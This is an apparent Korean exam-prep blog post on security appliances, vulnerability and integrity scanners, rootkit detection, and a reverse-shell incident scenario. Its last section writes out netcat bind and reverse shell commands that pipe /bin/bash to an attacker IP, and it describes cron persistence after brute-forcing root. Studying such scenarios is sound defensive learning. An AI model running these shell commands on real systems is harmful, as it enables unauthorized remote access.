본문 바로가기
(실기) 정보보안기사&산업기사

보안장비운영 8,9 시스템 점검도구 1,2 침해사고 유형별 시나리오 1

by IT매니절 2024. 4. 8.

가. 디도스 차단 시스템Anti-DDoS System
- 다른 장비들을 보호하기 위해 네트워크 구성상 가장 상단에 위치

나. 방화벽Firewall 침입차단시스템
- 네트워크 계층의 IP 주소와 전송 계층의 port 주소를 기반으로 방화벽 룰셋을 수행하는 보안장비
- 서로 다른 보안레벨의 네트워크 경로 사이에 위치 (예를들어 인터넷-DMZ 구간 사이, DMZ-내부망 사이 등)
- 고가용성 환경구축을 위해 active-standby(장애발생시 standby가 active동작) 또는 active-active 방식의 이중화구성
Stateful Inspection상태검사기능 : 방화벽을 통과하는 모든 패킷에 대해 IP/Port 정보만 보는게 아니라 일정 시간 프로토콜 연결 상태 정보를 유지하여 추적하는 기능. 효율적인 방화벽 룰셋 설정과 성능, 보안상의 장점.

- 최근은 차세대 방화벽NGFW 출시

(IP - 네트워크 계층, PORT - 전송 계층)

 

다. SSL 오프로드 (Offload) 장비

- 보안서버SSL 서버를 구축하여 HTTPS 통신을 하기 때문에 가시성 확보가 매우 중요함
- 가시성 확보를 위해 SSL 오프로드 기능을 가진 SSL-VA 장비나 L7-Switch를 주로 사용
- SSL 서버 인증서 설치가 되어야 SSL 트래픽에 대한 모든 암복호화 처리를 수행할 수 있다
- 별도의 SSL 오프로드 장비를 통해 처리하므로 SSL 서버 성능향상, SSL 서버 인증서 효율적으로 관리 가능

- SSL-VA (Visibility Appliance) 장비 : SSL 가시화 장비로 SSL 트래픽 암복호화 처리에 특화된 전용 어플라이언스 장비. (Appliance : 특정 목적에 최상의 성능을 내기 위해 최적화된 장비)

- L7-Switch 장비 : 어플리케이션 수준의 패킷 스위칭 장비. SSL 오프로드 기능, 서버 부하 분산, 장애 허용 등 다양한 기능 제공 (서버 부하 분산 요약 : 외부의 210.10.10.01:443 요청 -> L4/L7 스위치가 DNAT -> 192.168.55.1:443으로 바꾸어 Real Server에 요청 -> 응답이 오면, L4/L7 스위치가 210.10.10.01:443으로 다시 SNAT하여 전달. url에 따라 다른 서버로 연결해주기도 함(ex /board와 /member의 연결서버가 다름)

- SSL 오프로드 기능을 갖춘 Poxy 장비 동작 방식

1) Forward : 내부 클라이언트가 외부 웹서버로 접속하는 SSL 트래픽에 대한 암복호화 수행

2) Reverse: 외부 클라이언트가 내부 웹서버와 통신하는 SSL 트래픽에 대한 암복호화 수행

 

라. *IDS 침입탐지시스템 Instrusion Detection System

1) 개요

사전에 등록한 알려진 공격패턴(시그너처), 임계치 등에 따라 공격을 탐지하는 보안장비
- 탐지목적이므로 NIDS인 경우 일반적으로 미러링모드로 설치
- 침입탐지 방식에 따라 오용탐지, 이상탐지로 구분
- 데이터 수집원에 따라 호스트 기반 IDS, 네트워크 기반 IDS로 구분

2) 침입탐지 방식에 따른 구분
가) 오용탐지 Misuse Detection
사전에 알려진 공격 패턴(시그너처)을 기반으로 공격 행위를 탐지하는 방식. = 지식기반탐지, 시그너처 기반 탐지
- 알려진 공객패턴을 기반으로 탐지하므로 비교적 오탐률(false positive)이 낮지만, 미탐률(false negative)이 높은 단점
오탐false positive : 공격 행위가 아닌 것을 공격으로 탐지
미탐false negative : 공격 행위를 탐지하지 못하는 경우

 

나) 이상탐지 Anomaly Detection

- 정상적이고 평균적인 상태를 기준으로 이를 벗어난 행위가 발생할 경우 탐지함. = 통계기반탐지, 행위기반탐지

- 미탐률이 낮은 장점이 있지만, 오탐률이 높은 단점이 있다

 

3) 데이터 수집원에 따른 구분
가) 호스트 기반 IDS (HIDS)
- 호스트에 설치되어 호스트 정보를 수집해 탐지활동을 수행하는 IDS
- 대표적인 오픈소스 HIDS로 파일시스템 무결성을 검사하는 트립와이어tripwire
단일 호스트 기반 IDS : 단일 호스트로부터 생성되는 로그를 주기적으로 분석
다중 호스트 기반 IDS : 여러 호스트에서 로그를 수집해서 탐지

나) 네트워크 기반 IDS (NIDS)
- 네트워크 트래픽을 수집하여 탐지활동을 수행하는 IDS
- 대표적인 오픈소스 NIDS로 스노트Snort와 단점을 보완한 수리카타Suricata

 

4) NIDS 설치 위치에 따른 장단점
                [가) IDS]
                     │
[인터넷]--[라우터]--[나) IDS]--[방화벽]--[다) IDS]-- [ 공개 서버 DMZ ]

가) 라우터를 통과하기 전 모든 트래픽을 탐지할 수 있는 위치
장점: 외부에서 접근하는 모든 트래픽 탐지 가능
단점: 라우터 필터링 전에 탐지하므로, 탐지한 트래픽이 내부 네트워크로 유입된 트래픽인지 판단하기 어렵고 많은 트래픽으로 성능상의 문제 발생 가능

나) 라우터를 통과한 모든 트래픽을 탐지할 수 있는 위치
장점: 라우터의 필터링을 통과하여 실제 내부 네트워크로 유입된 트래픽만을 효율적으로 탐지
단점: 내부 방화벽 앞단에서 탐지하므로, 방화벽을 통과한 트래픽인지 판단하기 어렵고 방화벽 뒤의 보호구간에서 발생하는 트래픽은 탐지할 수 없다

다) 내부 방화벽을 통과한 모든 트래픽을 탐지할 수 있는 위치
장점: 라우터 필터링, 방화벽을 통과한 트래픽만을 효율적으로 탐지. 보호구간내 발생하는 트래픽에 대한 탐지 가능.
단점: 외부에서 유입되는 모든 트래픽에 대한 공격 여부는 알 수 없다.

 

 

마. IPS Intrusion Detection System 침입방지시스템

- 공격을 탐지할뿐 아니라 차단까지 수행함.

공격행위로 탐지된 패킷의 실시간 차단을 위해 인라인 모드로 설치한다.

 

바. APT 대응 시스템
가상머신 기반의 샌드박스 환경에서 해당 파일을 직접 실행하여 악성 여부를 판단하는 행위기반분석 보안장비
샌드박스Sandbox : 보호된 영역에서 시행시켜, 내부 시스템에 악영향을 주는 것을 미연에 방지하는 기술
- 엔드포인트 솔루션을 함께 제공하여 가상머신을 통한 분석이 완료될 때까지 엔드포인트 파일 실행을 보류함

 

사. 네트워크 포렌식 장비
- 네트워크 구간을 통과하는 모든 트래픽을 수집하고 분석할 수 있는 장비. 침해사고 분석 및 내부감사 등의 목적으로 활용. 대용량 스토리지 필요

아. 웹방화벽 (WAF: Web Application Firewall)
- 웹 트래픽의 웹 컨텐츠를 분석하고 탐지 및 차단할 수 있는 기능을 가지고 있는 보안장비 (난독화된 스트립트 해제하여 분석, 요청 파라미터 패턴 분석을 하는 등)
- 직접적인 웹 공격 대응 외에도 정보유출방지, 부정 로그인 방지, 웹사이트 위변조 방지 등으로 활용 가능
- 공개 웹 방화벽 : KISA의 캐슬, ATRONIX사의 Webknight, TrustWave사의 ModSecurity 등

 

 

물리적 네트워크 구간 : 접근통제 관점의 구간 구분
1) 인터넷 구간
- 인터넷을 통해 외부에서 직접 접근이 가능한 구간

2) DMZ 구간
인터넷 구간과 내부망 사이에 위치한 중간지점접근통제시스템(방화벽 등)을 통해 접근통제를 수행하며 인터넷과 내부망의 접근을 허용하는 구간 (외부에 서비스를 제공하면서 내부자원/시스템을 보호하기 위함)

3) 내부망
- 인터넷으로부터 물리적으로 분리되거나, 접근통제시스템에 의해 직접접근이 불가능하도록 통제/차단된 구간

 

(DMZ 구간과 내부망 용어는 서술가능하도록 암기 필요, 단답형 문제 출제 이력 있음)

 

네트워크 보안장비 설치 모드
1) 인라인 모드
물리적으로 네트워크 경로 상에 설치되어, 통과하는 모든 트래픽이 거쳐가도록 하는 모드
패킷 차단 목적의 장비(IPS 등)에 적용하며, 직접 차단할 수 있지만 장애가 발생할 경우 전체 네트워크 장애로 확산될 수 있다

2) 미러링 모드
미러링 장비를 통해 복제된 패킷을 받아서 탐지하는 모드 (미러모드/out-of-path 모드)
탐지 목적의 장비(IDS 등)에 적용하며 전체 네트워크 가용성에 영향을 주지 않지만 실제 패킷을 차단하기는 어렵다

(차단장비와 연계하여 차단하는 경우는 있음, TCP RST 방식이 일반적)

 

(Q. IDS는 미러링 모드로, IPS는 인라인 모드로 설치하는 이유는 무엇인가?

-> IDS는 탐지를 목적으로 하므로, 복제된 패킷을 이용해 전체 네트워크 가용성에 영향을 주지 않는 미러링 모드가 적합하다. IPS는 탐지뿐 아니라 패킷을 차단할 수 있으므로, 실제 패킷이 전송되는 네트워크 구간에 설치되는 인라인 모드가 적합하다. )

 

 

- 보안장비운영 8 END-

 

 

보안솔루션(장비) 취약점

1) 계정관리
가) 보안장비 Default 계정 변경
나) 보안장비 Default 패스워드 변경
- 특수문자, 숫자, 영문 대소문자 포함 8자리 이상
다) 보안장비 계정별 권한 설정
- 권한 차등 부여
라) 보안장비 계정 관리
- 불필요한 계정 삭제, 책임추적성 확보(각 개인은 유일하게 식별되어야 한다)

 

(SAC 서버솔루션이 있으므로, 공유계정을 쓴다고 해서 책임추적성이 확보가 안되는 건 아니지만 가급적 1인 1계정이 원칙)

 

2) 접근관리
가) 보안장비 원격 관리 접근 통제
나) 보안 장비 보안 접속 (SSH 또는 SSL 암호화 접속)
다) 세션 타임아웃 설정

(계정관리, 접근관리 각 항목 서술할 수 있도록 기억.)

 

요약

계정관리 측면 : 1. Default 계정 변경 2. Default 비밀번호 변경. 3. 계정별 권한 차등 설정. 4. 계정 관리

접근관리 측면 : 1. 원격관리접근통제 2. 보안접속(암호화통신) 3. 세션타임아웃

 

- 보안장비운영 9 END

 

 

취약점 점검 도구
개요
- 보안 취약점을 사전에 점검해 보안을 강화하기 위한 도구
- 네트워크 보안 취약점, 시스템 보안 취약점, 웹 보안 취약점 등.
- nessus네서스 : 테너블사tenable 개발. 알려진 취약점에 대한 점검을 수행.
- nikto닉토 : 공개용 웹 취약점 도구. 웹 해킹에 대응하기 위해 웹 서비스나 웹 응용 프로그램 취약점을 점검할 수 있음. 취약한 CGI 파일 스캔 기능이 뛰어남.

 

네서스nessus
가) 클라이언트/서버 구조로 동작
- 서버의 nessus 데몬, 플러그인 / 클라이언트가 접속하여 취약점 점검
나) 사용이 자유롭고 플러그인 업데이트 등이 쉬움
다) HTML 등 여러 형태로 결과 리포트

(/etc/init.d/nessusd restart   8834/tcp  )


닉토nikto
방대한 취약점 DB를 통해 웹서버에 대한 포괄적 점검을 수행
- 다양한 포맷으로 리포트 제공

(ex nikto -h 192.168.11.1 -output vul.html -Format html)

 

무결성Integrity 점검 도구 트립와이어tripwire
개요
1) 파일시스템 무결성 점검 : 파일시스템 상태 추적 및 허가받지 않은 변경 여부를 주기적으로 점검하고 검사하고 복구하는 과정
2) 트립와이어tropwire는 무결한 상태에서 중요한 디렉터리와 파일에 대한 데이터베이스를 생성한 후, 새로 생성된 데이터와 비교해 차이점을 보고한다
3) 공격자가 루트킷/백도어를 설치한 후에 tripwire 데이터베이스가 갱신되면 공격 사실을 알 수 없는 단점이 있다

동작방식
1) 최초 설정파일에 등록된 파일 및 디렉터리의 해시값을 데이터베이스(/var/lib/tripwire/호스트명.twd)에 저장
2) 주기적으로 트립와이어 스케줄링이 동작하면서 비교
3) 관리자에게 비교 결과값이 다를 경우 보고

( tripwire --init, tripwire --check, twprint -m r --twfile 파일명 > report.txt )

실습 - 리포트 형식

Modified Object name:   /bin/ps           <- 바뀐 파일 이름

Property:          Expected                    Observed

-------------          --------------                  -----------------

* Size               무결한 상태값              검사한값

* Modify Time               ..                         ..

* Change Time             ..                         ..

* Blocks                        ..                         ..

 

=> /bin/ps 파일이 바뀌었고, Size, Modify Time, Change Time, Blocks 가 바뀌었다

 

 

시스템 점검도구 1 END --

 

 

 

루트킷 점검도구 chkrootkit
개요
1) 루트킷은 지속적으로 자신의 존재가 탐지되지 않도록 숨기면서 관리자 권한의 획득과 백도어 등의 기능을 수행하는 코드와 프로그램의 집합
 - 정상적인 프로그램을 변조하는 경우가 많다. ex) ls를 변조하여 ls를 실행해도 변조된 파일이 보이지 않는 상황.
2) 초기에는 주로 서버장비에 설치되어 패킷을 스니핑하고 아이디나 패스워드를 획득해 루트 권한을 탈취하는 방식이었다.

실습
1) 테스트용 루트킷 실행
- 백오더 역할을 수행하는 bdoor 프로세스가 변조된 ps와 netstat 명령어에 노출되지않고 지속적으로 외부 연결을 대기하는 리스닝 상태가 됨

2) chkrootkit 실행
가) chkrootkit 그냥 실행하면 모든 파일의 결과를 보여줌
나) 점검결과 주요 메시지
1. INFECTED : 해당 파일이 변조됨
2. not infected : 변조되지 않음
3. not tested : 변조여부를 체크하지 못함
4. not found : 해당 파일이 존재하지 않음

 

메시지 예시

13 precess hidden for ps command 
=> 숨겨진 히든 프로세스가 있음


다) chkrootkit -q : quiet 모드로 정보를 보여줌

 

라) 루트킷의 hidden process 탐지 동작원리
1) /proc 파일시스템 이해하기
메모리상에 사용하고 있는 모든 자원들에 대한 정보들을 파일 형식으로 보관하는 파일시스템
- 커널이 관리하는 프로세스 등의 자원, 커널 파라미터 등에 대한 상태정보를 파일명으로 보관함.
메모리 영역에 존재하는 파일 시스템으로, 매 부팅시마다 새롭게 생성된다
- 현재 실행중인 개별 프로세스의 pid를 의미하는 다수의 숫자형식의 디렉터리가 생성되어 있다
/proc/<pid>/exe : 프로세스의 실행파일 및 경로를 확인할 수 있는 심볼릭 링크 파일 (ls -l exe 명령어를 쓰면 경로를 확인할 수 있다)
/proc/<pid>/cmdline : 프로세스를 실행한 명령어 및 전달인자 정보를 담고 있는 파일 (cat cmdline)

 

실제로 /proc 폴더에 들어가 확인해보았다.

2) 탐지 원리

- 루트킷 탐지 프로그램은 ps 실행결과와 /proc 디렉터리에 있는 프로세스 정보를 비교하여, /proc 디렉터리에는 프로세스가 있지만, ps 실행 시 보이지 않는 프로세스를 히든 프로세스로 탐지한다. (ps를 실행한 결과와 /proc 디렉터리의 내용을 비교하는 시차에 의해 오탐이 발생할 수 있으므로, 탐지시 실제 확인이 필요)

 

Q. 루트킷 히든파일 탐지 프로그램의 동작 원리는 무엇인가?

A. ps 실행결과와 /proc 디렉터리의 프로세스를 비교하여, /proc 디렉터리에는 프로세스가 있는데 ps 실행결과에는 없는 경우 해당 프로세스를 히든 프로세스로 탐지한다.

( ls -l exe로 /proc/<pid>/exe의 심볼릭링크 확인, /proc/<pid>/cmdline의 명령어 실행 전달인자 확인)

 

* exe 파일로 삭제된 프로세스 복원하기

[root@localhost 910]# ls -l exe
lrwxrwxrwx. 1 root root 0 Apr  8 15:21 exe -> /root/tmp/test_bdoor (deleted)
이런식으로 deleted 된 프로세스를 (실행파일이 실행 이후 삭제되었다는 뜻. 백도어를 실행한 후 실행파일 흔적을 숨기기 위해 삭제)

cp exe /root/tmp/test_bdoor

cp 명령어를 사용해 복원할 수 있다

 

3) 대응방법
1. RPM (Redhat Package Manager) 명령을 이용하여 변조된 파일 확인

  rmp -qf 파일절대경로 : 해당 파일이 어느 패키지에 포함되어 있는지 확인
rpm -V 패키지 이름 : 설치된 파일의 무결성을 검사

 

rpm -qf /bin/netstat
rpm -V net-tools
결과
S.5....T.     /bin/ps

=> S 파일크기 변경, M 파일 퍼미션 변경, 5 MD5 체크섬 변경, T 파일 수정시간 변경
=> U 소유자 정보 변경, G 소유 그룹 정보 변경, D 장치 정보 변경, L 심볼릭 링크 정보 변경

 

2. strace 명령을 이용하여 변조된 파일 확인
- strace 명령은 특정 프로그램의 시스템 콜과 시그널을 추적하는데 사용하는 디버깅 도구
- ex 변조된 ps 프로그램이 정상적인 ps 프로그램과 달리 특정 파일을 오픈하고 있음을 추적

strace -e trace=open ps | more

=> ps에 대한 open trace를 추적하겠다는 뜻

 

 

3. 패키지 재설치
가) 패키지 재설치시 오류 발생
  1. --force 옵션으로 강제 설치
  2. 재설치 오류시, lsattr 명령을 통해 파일 속성 정보에 i (변경 불가능) 속성이 설정되어 삭제가 안될 수 있다

나) 파일 속성 변경 후 재설치
chattr -i /bin/ps
i (변경 불가능) 속성을 제외 후 삭제하거나 재설치

* 변조/감염이 확인된 파일만 교체하는 것은 임시방편이고 최선의 방법은 해당 시스템을 다시 설치하는 것이다.

 

 

4. 리눅스 파일 속성Attribute 설정
가) 파일 속성 개요
- 파일에 대한 속성 설정
- 파일 속성이란 퍼미션과 다른 개념으로, 특정 파일 자체에 대한 허가를 의미

나) lsattr 명령어
- 파일의 속성 정보를 확인한다.
- i 속성 : 읽기전용으로 설정. 변경추가삭제 불가능 (해킹에 의해 악성파일이 설치된 후, 파일을 삭제하지 못하도록 i 속성을 설정하는 경우가 있다)
- a 속성 : 추가만 허용
- A 속성 : access time을 변경하지 않는다

다) chattr 명령어
- 파일의 속성 정보를 변경한다
ex chattr +iaA test.txt
ex chattr -i test.txt

 

 

시스템 점검도구 2 END --

 

 

1. 리버스 쉘Reverse Shell 침해사고 시나리오
개요
1) telnet 무작위 대입 (Brute Force)/사전 대입 (Dictionary) 공격을 수행, 루트 계정 정보를 탈취
2) 루트 권한의 사용자 계정 생성
3) 공격자는 외부에서 접근할 수 있도록 netcat 프로그램을 이용한 리버스 쉘 연결 작업을 cron 테이블(/etc/crontab)에 등록한다
4) 외부에서 리버스 쉘을 이용해 웹서버에 악의적인 명령을 수행시킨다

 

관련지식 - 리버스 쉘
바인드Bind 쉘 : 클라이언트/공격자가 서버에 접속해 타겟 서버의 쉘을 획득
리버스Reverse 쉘 : 역으로 타겟 서버가 클라이언트/공격자로 접속해 클라이언트가 타겟 서버의 쉘을 획득

- 리버스 쉘을 사용하는 이유는 방화벽을 우회하여 쉘을 획득하기 위해서이다. 일반적으로 방화벽 인바운드 정책은 엄격하지만, 아웃바운드 정책은 느슨하게 허용해주기 때문.
- 리버스 쉘을 테스트 하기 위해 netcat 프로그램을 많이 이용

 

(짤막 복습
FTP의 Active 모드 : 제어- 클라(1024 ↑)->서버(20) / 데이터- 서버(21)->클라(1024↑)
FTP의 Passive 모드: 제어- 클라(1024↑)->서버(20) / 데이터- 클라(1024↑)->서버(1024↑) )

 

 

** netcat 프로그램을 이용한 리버스 쉘 실습
1) 방화벽 프로그램에 의해 인바운드 패킷이 차단되어, 리버스 쉘 고려
2) 공격자가 nc 리스너 실행 (nc -lvp 80)         // nc 리스너 80포트로 여는 명령어

- 옵션  -l : 연결요청을 수락할 수 있게 리스닝

           -v : verbose 모드 (진행상황표시)

           -p : 로컬 리스닝 포트 설정
3) 공격자는 타겟 웹서버에서 nc 커넥터 실행 (nc 공격자 ip주소 -e /bin/bash

     -e 옵션 : 배쉬쉘을 실행하기 위해서.
4) nc 커넥터가 공격자의 nc 리스너로 접속한다. 이제 외부에서 리버스 쉘을 통해 명령어 실행

 

상세 동작방식
- nc 리스너는 리스닝 포트를 오픈하고 요청이 올 때까지 대기한다
- nc 커넥터는 nc 리스너로 연결 요청하여 연결 완료 (웹서버의 file descriptor table은 소켓 연결 상태가 됨)
- 연결이 완료된 nc 커넥터는, 자신의 프로세스 실행 이미지를 bash 프로세스 실행 이미지로 전이하고(exec) bash 프로세스로 동작한다.
- 실행 이미지만 교체되었을 뿐, 웹서버의 file descriptor table은 그대로 소켓 연결 상태이므로, bash 프로세스는 그대로 소켓 통신을 이어받아 통신

 

 

정리

공격자 클라이언트 : 10.10.10.10
희생자 서버          : 210.11.10.1

바인드 쉘 : 클라이언트가 서버에 접속하여 쉘 권한 탈취
서버 : nc -lvp 80 -e /bin/bash        (리스너 대기)
클라이언트 : nc 210.11.10.1 80    (리스너 연결)


리버스 쉘 : 서버가 클라이언트에 접속하여 쉘 권한 탈취
클라이언트 : nc -lvp 80                        (리스너 대기)
서버 : nc 10.10.10.10 80 -e /bin/bash  (nc 리스너 연결)

 

-e /bin/bash 는 무조건 희생자 타겟 서버에서 쓰여야 하는 명령어임

 

 

 

침해사고 유형별 시나리오 1 END --